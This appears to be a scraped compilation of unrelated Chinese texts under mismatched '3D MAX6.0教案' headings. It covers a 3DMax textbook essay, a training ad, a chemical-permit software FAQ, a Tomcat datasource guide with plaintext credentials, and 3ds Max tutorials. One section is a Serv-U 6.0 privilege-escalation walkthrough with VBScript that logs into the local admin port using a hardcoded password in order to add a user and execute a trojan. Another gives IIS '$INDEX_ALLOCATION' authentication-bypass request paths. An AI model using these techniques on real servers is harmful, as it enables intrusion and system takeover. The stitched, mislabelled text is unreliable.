据了解,目前大多数职业学校都在不同程度地结合本校各个专业的不同学科进行校本教材的编写工作。这些校本教材都是着眼于真实的学校教学情境中所发现的问题,从而进行适当的研究,并设法解决问题。尽管其中经历过各种困难和曲折,但仍然取得了一些进展,有了一些成果,有一些已经在使用。例如,我校结合各类课程的开设,编写了《PhotoShop创意设计》、《计算机财会应用》等教材。

“校本”的内容是由学校的办学思想,教育教学经验与实际环境,学生的文化背景和认知结构等构成的,学校的特色是它的核心。职业学校的专业课程建设及其发展必须不断适应社会经济的发展,而其现有的教材已经不能很好地适应各职业学校不同专业学生的需要。正如3DMax课程所需的教材,已不能很好地适应教学的需要。

2 国内外3DMax教材现状

2.1 国外现状

(1)对于三维动漫影视的教材开发的研究相当专业化,分类也比较细致。从三维的建模、材质与贴图、动画制作、粒子与动力学系统、环境控制与渲染输出等方面,衍生出各类相应的书籍和行业,并且每个方面的理论研究都非常深入。

(2)面向对象相对层次较高。从北美地区、加拿大的动画教育机构以及相关的艺术学院等方面来看,学生在学习三维软件的之前对自己的学习能力、学习方法都有清醒的认识,有一定的艺术基础和软件操作能力,特别是在三维软件的一些复杂操作的时候、逻辑思维和表象能力相对较高。

(3)教材部分,具体案例讲的比较少,更多的是讲解软件的功能和设置,案例都是由导师通过讲解引导学生去完成制作和动画,案例都具有很强的创作性和社会实践性。

(4)媒体支持。北美地区对于动画创作的支持度比较高,有专门电视台每天24小时播出各个院校的学生制作的动画作品,这对于学生的积极性以及二次创作都有很大的帮助。

2.2 国内现状

国内对于校本教材开发的理论和实践研究起步虽晚,但是进步很快。基础课程伴随着课改的推进不断地进行教材开发和研究,已经获得了一定的成果。

但是计算机三维设计类课程的教材开发相对较少,开设三维制作类课程的职业学校应用的教材可分为两类:一类是一些高等教育规划教材,这些教材偏重于理论的讲解,具体实例比较少,授课时的实践性比较差,实用性不强。另一类是一些国内知名培训机构出版的书籍,这些书籍普遍有这样的特点:面向对象较广,书籍内容难易不一,专业术语相对不准,教材当中的漏缺现象比较严重;有的教材比较专业,理论和实践结合得很好,但是实现周期较长,涉及的附加软件较多,不符合高职类学生的特点。

3 开发“教案式”3DMax课程的校本教材

基于以上的原因,在3DMax这门课程的教学过程中遇到了各种困难,但经过不断的研究与实践,发现可以把备课过程中所用到的教案进行整理和完善,从而开发出更适合本校本学科的校本教材。

(1)基础知识阶段,分别备课形成教案,再统一整合

3DMax这门课程是一门实践性很强的课程,它所涉及的知识面很广,包括三维建模、材质与贴图、动画制作、粒子与动力学系统、环境控制与渲染输出等方面,相当于几门专业课程。因此专业课教师担任这门课程的教学最好从3维建模这个最基础的部分开始,并且一般3年最好,第一年摸索兼钻研,第二年熟悉且掌握,第三年融会并精通。只有把这门课程的每个部分都教一遍,才能做到融会贯通,进而打破原有的课程体系,真正实现课程的整合。

由于当前的3DMax教材的局限性比较大,任课教师在备课过程中参考了大量相关书籍、网络资料等,给学生只订一本教材是不够的,而再订别的参考书又会带来要费用的问题。因此教师在备课形成教案的同时,又形成相关的学习文档供学生学习参考,而这些教案和学习文档是教师在教学过程中不断探索研究,不断总结经验,找到的更适合学生学习及实际应用的教学实例。这就是校本教材的雏形。

当第一年的经验基本形成后,可以形成相应的备课小组,进行共同讨论、共同备课、课后反思,再修改教案等,这样的校本教材才更加完善。

(2)项目教学阶段,成立备课小组,集体备课

到了项目教学阶段,备课的任务相当繁重,一个项目往往需要一到两个星期甚至更多周期来完成备课,学生在完成任务时也需要一个月左右的时间。因此,可以将“写教案”的任务在同一专业组内分工完成。作为集体备课的任务,每学期每个老师独立完成或合作完成1~2个项目的“教案”、课件、学习文档等,在集体备课时提供第一稿并做详细说明,按老师们的有益建议做好修改,然后将项目所需的教案、素材、学习文档等提供给专业组成员共享。实际上课之后,要做好应用情况的记录,并进相应修订。备课组长收集好所有成果,汇总起来,还可以保存学生的优秀作品为下一届老师做参考————这就是小有成就的“校本教材”了。

这种“教案”必须是实实在在有效的,不仅包括项目分析、实施步骤,还包括课件、知识讲解、补充练习、所需素材等等,还需要及时发现和记录学生在制作过程中出现的问题、遇到的瓶颈及项目制作中各个环节占用时间的多少等,便于老师及时对项目的实施进行调整。

(3)备课的提升阶段,开展小课题研究

3DMax这门课程所涉及的知识面相当广,简单的可以包括基础建模、材质与贴图制作、动画制作、粒子与动力学系统、环境控制与渲染输出等方面,一个老师要成为这门课程的专家是很困难,但是可以成为某一个方面的专家。因此可以形成不同的小课题研究,针对某一方面进行专题研讨,并将专题研究的结果编写成校本教材,最后结集成册。

小课题研究是教师立足于日常的课堂教学,提升教育理念、改进教学行为的行之有效的方法。它通过教师的自我实践,同伴互助和专业引领,让教师自觉解决教学实际中“怎么做”的应用问题,使教师成为研究的主导者。为解决或改进教学中的相关问题,教师主动阅读专业书籍,或与同伴交流,或改进自己的教学经验,并最终形成各个知识点的文字材料,同时注意使知识形成模块,方便今后的教学。在此基础上只要稍加整理,有特色的“校本教材”就自然形成了。

(4)课程的整合阶段,开发全面的校本教材

基于职业学校学生的特点,结合学校所开设的课程,仅让学生掌握3DMax的应用是不够的,可以把它和其他课程结合起来(比如和After Effect影视后期制作课程),让学生学以致用,进而增进他们的就业能力和进一步提高的平台,帮助其发展属于自己的独特技能和艺术鉴赏能力。

因此在的课程整合阶段,可以和其他专业课程的老师再进行集体备课,形成跨课程的教案,开发真正的比较全面的校本教材。

(5)校企联合开发,推进校本教材建设

现在职业学校校本教材的建设主要由各学校独立进行,力量有限且分散,实际应用的效果不够理想。因此可考虑校企联合起来共同开发编写,将企业汇集来的生产项目转换成专业技能课程中的学习项目,把企业工作任务表中的任务模块转化为课程模块,进而形成专业技能项目课程体系结构。课程开发在行业技术人员的指导下由学校一线骨干教师完成。这样能使所开发的校本教材更具实际应用性,培训出来的毕业也可以直接参与到企业的项目制作中。

总之,创建“校本教材”是现实的迫切需要,是完全可以产生丰硕成果的。开发教案式校本教材,虽然所需周期较长,但更有实际价值和可操作性,值得研究和实施。

参考文献

[1]聂柯湘.新课程改革下“学案—教案整合的有效教学模式"建构[J].当代教育论坛,2010,(30).

[2]胡春惠.教学管理的误区格式教案式备课[J].卫生职业教育,2008,26(19).

[3]罗桂莲.高职计算机专业实践性课程校本教材开发[J].职业技术教育,2008,(20).

[4]马成荣.职业教育课程开发及项目课程设计———基于IT专业的研究[M].南京:江苏科学技术出版社,2006.

ServU 6.0提权新招 篇3

看来别的地方是动不了了,只好试试Serv-U 6.0提升权限了。问题也来了,臭要饭写的提升权限程序只能在本地提升权限,而我在服务器上有没有执行权,传上去也没有用,看来此路不通。

在服务器上转了几圈,没有发现什么可以利用漏洞,看来还是要靠Serv-U,在硬盘里找了找,远程溢出的程序全失败了……突然,我想到Serv-U 6.0本地提权的本质是在本地连43958端口,那我是不是可以在WebShell里用MSWinsock.Winsock连接呢?只要用账户“localadministrator”,密码“#|@$ak#.|k;0@p”就可以连上去了吧?于是我上网找了找,可惜没有发现这种代码,只好自己写了:

dim revdata

dim sendata

set sock=createobject(“MSWinsock.Winsock”)

sock.Protocol=0 (用TCP)

sock.Connect “127.0.0.1”,43958

sendata=“LocalAdministrator” & chr(10) & chr(13)

sock.senddata sendata

sendata=“#|@$ak#.|k;0@p” & chr(10) & chr(13)

sock.senddata sendata

使用这个代码就能连上FTP了,接下来用Sock.senddata sendata发送添加有执行权限用户的命令,然后想必大家也知道了,用有执行权限的用户连上,再用“SITE EXEC”执行命令,好了,木马启动了,有系统权限了,

其实,有时候,管理员一个小小的疏忽,就可以导致整个服务器被攻破,可见,安全是一个整体的重要性,这个看似坚固的服务器就这样一来破了。

3D MAX6.0教案 篇4

武汉3dmax培训班课程从室内家装装修施工工艺入手,了解室内装修施工工艺的流程和对对各种施工材料的认识,从而充分认识到什么装修与设计的紧密联系。不了解施工工艺,设计出来的作品往往在施工工艺当中不能实现,不懂施工工艺的设计师,在和业主谈论设计方案的时候也没有说服力和可信度,让业主心里对设计师不认可,就签不下单子,所以了解施工工艺是每个设计师迈向职业设计师的第一步。

燃冰教育施工工艺教案采用,真实施工现场视频拍摄+讲师对各种施工工艺的详细简介和对装修材料讲解的方式相结合,让每个学员能够在最短的时间内了解到必须要2个月的施工周期的整个施工工艺流程,不用上工地就可以了解全部的施工工艺流程。比上装饰公司实习,跑工地还要学的快,学的多。本施工工艺课程可以免费试听1天,不满意不收费。试听前提前电话或者QQ预约。

【课程介绍】

【施工工艺篇】: 施工工艺之和设计师充分沟通

施工工艺之出台设计方案

施工工艺之施工交底

施工工艺之开工前的准备工作

施工工艺之办理开工证

施工工艺之水路改造

施工工艺之电路改造

施工工艺之后续材料进场

施工工艺之吊顶工程

施工工艺之吊顶完工及地暖改造

施工工艺之房间结构工程及包立管工程

施工工艺之贴砖实录之瓷砖进场

施工工艺之贴砖实录之卫生间墙砖铺贴 施工工艺之贴砖实录之卫生间地砖铺贴 施工工艺之贴砖实录之厨房地砖铺贴 施工工艺之厨房瓷砖验收

施工工艺之木质家具制作

施工工艺之顶面漆涂刷

施工工艺之墙面漆涂刷

施工工艺之阳台松木板吊顶

施工工艺之木地台的制作

施工工艺之地板安装及其验收

施工工艺之成品门的验收及安装

施工工艺之隐蔽工程验收之水路改造

施工工艺之隐蔽工程验收之电路改造

施工工艺之隐蔽工程验收之吊顶工程

施工工艺之规范木工工程展示 施工工艺之规范油工工程展示

施工工艺之粘贴壁纸

施工工艺之软饰鉴赏之玄关餐厅

施工工艺之软饰鉴赏之客厅

施工工艺之软饰鉴赏之主卧室

施工工艺之软饰鉴赏之次卧和书房

施工工艺之拜访业主

【软件培训内容】:

一、3Dmax 在建筑效果图方面的运用。建模开始(标准建模、二维形状建模、复合建模、网格建模),详细讲解材质(建筑材质的表现、复合材质的制作、材质贴图坐标修改。高级光能传递材质)的应用,和灯光(标准灯光的设置和布等方法,以上述功能为基础。重点介绍室内效果图制作(客厅、卧室、厨房、餐厅、书房等)

二、AutoCAD 讲解AutoCAD概述、各种绘图命令、编辑命令、图层、对象特性、设置绘图单位和图形界限、对象特性设置:图层的设置与管理、颜色与线型的设置。运用CAD制作建筑平面图、立面图、剖面图、大样图以及图纸输出打印等。介绍建筑和装饰绘图的基本原理,冰详细讲解CAD施工图

三、后期灯光渲染Vray VRAY的安装方法、VRAY基础知识、VRAY的通用设置、VRAY全局光照明、材质编辑、VRAY室内光源、灯光材质、常见材质的调配:吊灯、射灯、台灯、槽灯、天光阳光等灯光表现;3D光能传递智能喧嚷,模拟真实场景效果

四、Photoshop CS3软件的熟练使用,达到能熟练处理图片和图像及图文编排 【武汉3dmax培训班就业方向】:

1、室内装饰设计人员、方案制作人员;

2、建筑、装饰、房产公司室内外效果图设计师;

3、家具公司效果图设计师;

4、展示展览公司展示效果图设计师;

5、设计总监;

6、装饰公司装饰装修经营、管理工作;

7、施工现场管理人员;

【培训机构】:武汉燃冰教育品牌培训机构 【常年开班】:我们这里没有学不会的,只有学的不好的(可以免费重修);没学好者可转入下一轮巩固学习,不浪费学生的时间和金钱。

【就业形式】:学习优秀的我们推荐就业或实习,大量设计公司定向聘用结业学子。【 国家职业资格证书】《室内设计师》 【咨询电话】:027-87680310

3D MAX6.0教案 篇5

1、客户端升级不成功,或一直在“升级中”时间很长,怎么办?

答:

① 到新锐公司网站下载升级补丁,进行手动升级。

② 下载地址:

下载中心—云南用户

2、登陆系统时提示以下错误,如何处理?

文件,但电脑响应慢,未出现登录界面或退出但仍未释放进程,用户重复打开时,出现该错误提示。

2、chemw.exe文件被防火墙阻挡

原因:

1、电脑配置较低,响应速度慢,打开或退出系统后,进程中运行chemw.exe

处理方法:

1、检查是否重复打开系统,在任务管理器里检查chemw.exe文件是否已被释放,释放后,再重新打开系统。

2、检查杀毒软件和防火墙,是否将chemw.exe禁用。要求把chemw.exe文件放在可信任区,或者不要阻止。

3、上述处理仍不能解决,打开chem.exe文件,检测是否可以正常运行系统,如果仍不能正常运行,则对电脑进行杀毒。

3、在哪里上传单位资质证件?上传图片有何要求?

答:

① 在【基础信息-证件维护】模块上传单位证件;在【基础信息-身份证维护】模块上传企业人员身份证。② 图片格式支持: jpg、jpeg、png、gif等格式,上传时文件不要超过100K,上传成功后要查看一下图片,确保清晰,以免审批时由于图片不清晰被退回。

4、升级之前已经上传过的资质证书,升级之后是否需要再次上传?

答:还是要上传的,之前上传的记录是没有图片的,重新上传需要把图片一起提交。

5、购买申请时提交的资料“购销合同”、“销售单位证件”“合法使用证明”分别指什么?

答: ① “购销合同”指购买方与销售方签订的化学品买卖合同。② “销售单位证件”指销售方的营业执照、易制毒化学品经营备案证明等。【销售单位没有纳入系统管理时才需购买方代为上传,若销售单位已经纳入管理,则购买方无需上传。】 ③ “合法使用证明”由购买单位或者个人出具,注明化学品合法用途,并加盖购买单位印章或个人签名,只有第一次购买此化学品时需要提交。

6、是否可以将涉及到的化学品填写在一张合法使用证明上,一次性上传?

答:使用的每种化学品必须单独填写一张合法使用证明,分别上传。

7、运输申请时提交的材料 “发货单位证件”、“运输车辆资质证明”分别指什么?

答: ① “发货单位证件”指发货单位的营业执照等证件的图片【当发货单位与申请单位不是同一家,且发货单位未纳入系统管理,需要申请单位代为上传】 ② “运输车辆资质证明”是指道路运输经营许可证。

8、6.0系统中证书的各种状态分别是什么涵义?

答:

① 【未提交】:表示该证书申请表已保存到本地客户端系统中,但还未提交至公安机关审批。(该状态下的证书申请表内容仍然可以进行修改或者删除)② 【审核中】:表示该证书申请表已经提交至公安机关,等待公安机关受理该证书申请。③ 【已受理】:表示公安机关已经受理了该证书申请,正在审批中。④ 【不受理】:表示公安机关不受理该证书申请,已将该证书申请打回(对此情况,申请单位需要及时查看该申请的“审核情况”来了解公安机关不受理的原因,做出相应调整后重新申请)。⑤ 【审核通过】:表示该证书申请已经审批通过。⑥ 【审核未通过】:表示该证书申请没有通过公安机关的审核(对此情况,申请单位需要及时查看“审核情况”了解未通过的原因,做出相应调整后重新申请)。⑦ 【已核销】:表示该证书已被核销(证书的核销是企业行为,是对已经通过审核的证书并且决定不再使用(或不再报备)而对该证书进行终结处理。注意:核销后的证书不能再用来做数据报备)。⑧ 【已撤销】:证书被公安机关撤销,即失去法律效力,相当于作废证书

9、证书已撤销,但是待办事宜仍然提示要做购买入库、出库报备,是什么原因? 答:是因为没有及时更新业务数据,通过重新登录系统可解决此问题。

10、查看证书的“审核情况”显示已经审批通过,但证书的状态还是“审核中”,是什么原因?如何解决? 答:

① 先确认证书审批每个环节都已审批通过。

② 确认该证所有审批流程都已完结,仍出现以上情况,可能是因为没有及时更新业务数据,在确保网络通畅的情况下,重新登录系统可解决此问题。

11、证书申请表中的“核准数量”指什么?

答:“核准数量”是由公安机关在证书审批时核准的企业购买(或运输)数量(证书的实际有效数量以“核准数量”为准)。

12、证书申请表中的销售单位的“生产/经营许可(备案)证”填什么?

答:填由当地安监部门颁发给生产/销售企业的非药品类易制毒化学品生产许可证或非药品类易制毒化学品经营备案证明上的证书号。

13、【快捷申请】的作用是什么? 答:主要作用是方便申请证书。只要选择之前一张申请过的证书,点击【快捷申请】按钮可以快速生成一张和该张证书内容相同的证书申请表(点“保存”按钮即完成申请表的保存),从而节省了填表时间。

14、在做完‘购买入库’后弹出以下提示该如何处理?

答:证书用完都是需要核销的,所以当证书使用率达100%时 系统会提示是否核销。若选“是”则该证书立即核销,将不能对数据报备做修改。若选“否”则暂时不核销,还可以对数据报表进行检查修改。所以,该如何选择就看是否还要对该证书相关的报备进行修改。

15、部分页面显示不全,最后一栏按钮找不到,怎么办?

答:这个跟部份电脑显示的分辨率有关,可通过拖动页面或把电脑分屏幕辨率改成1024*768来解决。

16、【往来单位】模块中的信息错误,如何处理?

答:

① “已入网”状态的信息:企业端本地不能修改,联系往来单位,向往来单位所属地区公安申请,在公安端将信息修改正确

“未入网”状态的信息:1)营业执照错误的,可在业务申请模块申请数据时直接新增正确的信息,并在往来单位模块将错误的记录【作废】

3D MAX6.0教案 篇6

容器:tomcat 6.0

数据库:oracle 10g

操作步骤:

1、

将oracle数据库的驱动包ojdbc6.jar放到tomcat 6.0/lib,否则运行会报java.lang.ClassNotFoundException异常,而且你在java Build Path->Libraries->Add JARs把驱动包加进来也还是会报错的,一定要把驱动包加到tomcat/lib里面来;

2、

在tomcat的配置文件(context.xml)加入数据库连接信息

driverClassName=“oracle.jdbc.driver.OracleDriver”

url=“jdbc:oracle:thin:@192.168.20.90:1521:carddb”

username=“card_settle”

password=“card_settle”

maxActive=“20”

maxIdle=“10”

maxWait=“10000” />

属性说明:

name,数据源名称,通常取“jdbc/xxx”的格式

auth,这个不需要修改,取默认值

type,值为“javax.sql.DataSource”,使用数据源的方式

driverClassName,数据库驱动

url,访问数据库的路径信息,carddb是oracle数据库的SID

maxActive,连接池的最大数据库连接数,设为0表示无限制

maxIdle,数据库连接的最大空闲时间,超过空闲时间,数据库连接将被标记为不可用,然后被释放。设为0表示无限制

maxWait,最大建立连接等侍时间,如果超过此时间,将接到异常,如果设为-1表示无限制

3.程序中需要数据库连接的地主,编写如下代码:

Java代码

import javax.naming.Context;

import javax.naming.InitialContext;

import javax.naming.NamingException;

import javax.sql.DataSource;

public class DataSourceTest{

public static Connection getCon(){

Connection conn = null;

try{

Context ctx = new InitialContext();

DataSource ds = (DataSource) ctx.lookup(“java:/comp/env/jdbc/zhx”);

conn = ds.getConnection();

}catch(NamingException e){

e.printStackTrace();

} catch(SQLException e){

e.printStackTrace();

}

return conn;

}

}

import javax.naming.Context;

import javax.naming.InitialContext;

import javax.naming.NamingException;

import javax.sql.DataSource;

public class DataSourceTest{

public static Connection getCon(){

Connection conn = null;

try{

Context ctx = new InitialContext();

DataSource ds = (DataSource) ctx.lookup(“java:/comp/env/jdbc/zhx”);

conn = ds.getConnection();

}catch(NamingException e){

e.printStackTrace();

} catch(SQLException e){

e.printStackTrace();

}

return conn;

}

}

使用完后,记得要调用close()方法,它并不是真正地关闭连接,而是释放出来,让它重新回到连接池,

附:

连接池运作原理:

在实际应用开发中,特别是在WEB 应用系统中,如果JSP、Servlet 或EJB 使用JDBC 直 接访问数据库中的数据,每一次数据访问请求都必须经历建立数据库连接、打开数据库、存取数据和关闭数据库连接等步骤,而连接并打开数据库是一件既消耗资源又费时的工作,如果频繁发生这种数据库操作,系统的性能必然会急剧下降,甚至会导致系统崩溃。数据库连接 池技术是 解决这个问题最常用的方法,在许多应用程序服务器( 例 如 :Weblogic, WebSphere,JBoss)中,基本都提供了这项技术,无需自己编程,但是,深入了解这项技术 是非常必要的。

数据库连接池技术的思想非常简单, 将数据库连接作为对象存储在一个Vector对象中,一旦数据库连接建立后,不同的数据库访问请求就可以共享这些连接,这样,通过复用这些 已经建立的数据库连接,可以克服上述缺点,极大地节省系统资源和时间。

数据库连接池的主要操作如下:

(1)建立数据库连接池对象(服务器启动)。

(2)按照事先指定的参数创建初始数量的数据库连接(即:空闲连接数)。

(3)对于一个数据库访问请求,直接从连接池中得到一个连接。如果数据库连接池对象 中没有空闲的连接,且连接数没有达 到最大(即:最大活跃连接数) ,创建一个新的数据库 连接。(4)存取数据库。

(5)关闭数据库,释放所有数据库连接(此时的关闭数据库连接,并非真正关闭,而是将其放入空闲队列中。如实际空闲连接数大于初始空闲连接数则释放连接)。

3Dmax窗格透光效果模拟 篇7

接着用同样的方法在正面视图中创建一个长度为50,宽度为50,高度为10的方体,如图2所示:

2、在创建命令面板中单击“几何体”按钮,选择“标准几何体”下拉列表中的“复合物体”选项。选中视图中的大的长方体,点击“物体类型”卷展栏下的“布尔运算”按钮,然后再点击“拾取布尔运算”卷展栏下的“拾取物体B”按钮,在视图中单击小的长方体,此时的图形如图3所示,并命名为正墙。

用同样的方法在顶部视图和左面视图中分别创建一个长方体作为左墙和地板,如图4所示:

3、单击工具栏中的“材质编辑器”按钮,打开材质编辑器窗口,在材质编辑器窗口中点击一个样本球,选择“获取材质”按钮,在随后弹出的对话框中选中左边的“材质库”单选按钮,双击右边材质选择框中的“WOOD_ASHEN标准”材质选项,设置高光强度为90,光泽度为30,然后选中地板,单击材质编辑器窗口中的“将材质赋予物体”按钮,把材质赋给地板;接着用同样的方法为墙体赋予一种材质,然后点击菜单栏中“文件”下拉菜单中的“合并”命令,导入一个百页窗并调整其合适的位置,效果如图5所示:

4、在创建命令面板中单击“创建灯光”按钮,选择“目标聚光灯”按钮,在左面视图中创建一盏目标聚光灯,在“加强/颜色/衰减”卷展栏中设置“倍增器”为1,设置“倍增器”后面的颜色色块为浅黄色,设置“远衰减”选项中的参数:开始为350,结束为800,在“聚光灯参数”卷展栏中设置“热点/光速”为26,如图6所示:

5、选择“渲染性”下拉菜单中的“环境”命令,单击“大气”卷展栏中的“增加”按钮,在随后弹出的对话框中双击“体积光”选项,在“体积光参数”卷展栏中,点击“拾取灯光”按钮,在视图中选择目标聚光灯,设置宽度为5.0,最大亮度为75%,最小亮度为0%,衰减倍增器为2.0,如图7所示:

然后在“创建”命令面板中单击“创建灯光”按钮,单击“泛光灯”按钮,在顶部视图中创建一盏泛光灯,位置如图8所示:

6、在创建命令面板中单击“相机”按钮,选择“目标点”按钮,在顶部视图中创建一架摄像机,位置如图9所示。

高跟鞋3DMAX建模教程 篇8

第一步:首先来建一个box。

第二步:把box转为poly,然后把点移动像图一样。

第三步:将底部的红圈里的线用edge里的remove删除。

第四步:然后在侧面把点拉到像鞋以的样子。

第五步:在底下把面用extrude挤出,

第六步:挤出和收缩用bevel拖出2次。

第七步:跟着用meshsmooth.iterations选2或3美化它,然后建多一个box.

第八步:用bend把box变弯看看你的鞋有多大,可在angle.direction修改。

第九步:最后是做花瓣先建一个box。

第十步:把它做成一个像心形的形状。

3dmax中地砖的贴法(范文) 篇9

第一:PS里边把贴图加个黑边,呵呵,一般不用。

第二:不需要预先调整贴图,利用Tiles网格贴图直接在3DMAX里调整。步骤

1、在Diffuse给Tiles贴图,然后打开Tiles面板,Standard Controlsu卷展栏是调整网格类型的,默认的就是对齐网格,还有工字型网格,你可以自己试试。

2、打开Advanced Contronls卷展栏,tiles setup是调整你将要给的贴图参数。texture颜色调整为白色(目的是方便预览),给上你需要的贴图。Horiz Count和Vert Count是调整重复的,地砖就都设置为1。Color Variance和Fade Variance是调整色差和色差强度的,你调的是地砖参数,这两个数值都归0.3、Grout Setup是调整线缝参数,Texture给一个黑色(别全黑,灰度为15左右,太黑感觉不透气,太死板)。Horizontal Gap和Vertical Gap是横向纵向线缝的粗细调整,一般都锁定,同时调节。地砖的缝我一般设置0.03。参数OK

3D MAX6.0教案 篇10

1:首先要看看两个软件中的单位是否一样,一般我们都是以MM为单位,如果两个软件中单位不一样就会导致maya文件带入3Dmax中出现动作失真的情况,

2:maya和3dmax所用的FBX的版本要统一,如果两软件带入FBX版本不一样也会出现动作失真。例如,我们把一些关节镜像后P到骨骼上就会出现变形,部分还会反方向旋转,然后我把原先没镜像的关节p到主骨骼上就没这个问题了。流体等maya特有的动力学文件,那是无法互导的。

3D MAX6.0教案 篇11

微软IIS与PHP 6.0(这是对PHP5中的Windows Server SP1的测试)详细说明:

攻击者可以发送一个特殊的请求发送到IIS 6.0服务,成功绕过访问限制

攻击者可以访问有密码保护的文件

例:–>

Example request (path to the file): /admin::$INDEX_ALLOCATION/index.php

1 Example request (path to the file): /admin::$INDEX_ALLOCATION/index.php

(暂时没有翻译,怕影响精确度)

if the:$INDEX_ALLOCATION postfix is appended to directory name.

This can result in accessing administrative files and under special circumstances execute arbirary code remotely

微软IIS 7.5经典的ASP验证绕过

受影响的软件:.NET Framework 4.0(.NET框架2.0是不受影响,其他.NET框架尚未进行测试)(在Windows 7测试)

详细说明:

通过添加 [ “:$i30:$INDEX_ALLOCATION” ] to the directory serving (便可成功绕过)

例:

There is a password protected directory configured that has administrative asp scripts inside An attacker requests the directory with :$i30:$INDEX_ALLOCATION appended to the directory name IIS/7.5 gracefully executes the ASP script. without asking for proper credentials

IIS 7.5 NET源代码泄露和身份验证漏洞

(.NET 2.0和.NET 4.0中测试)

例:–>

/admin:$i30:$INDEX_ALLOCATION/admin.php

1 /admin:$i30:$INDEX_ALLOCATION/admin.php

will run the PHP script. without asking for proper credentials.(暂时没有翻译)

By appending /.php to an ASPX file (or any other file using the .NET framework that is not blocked through the request filtering rules,like misconfigured: .CS,.VB files) IIS/7.5 responds with the full source code of the file and executes it as PHP code. This means that by using an upload feature it might be possible (under special circumstances) to execute arbitrary PHP code. Example: Default.aspx/.php

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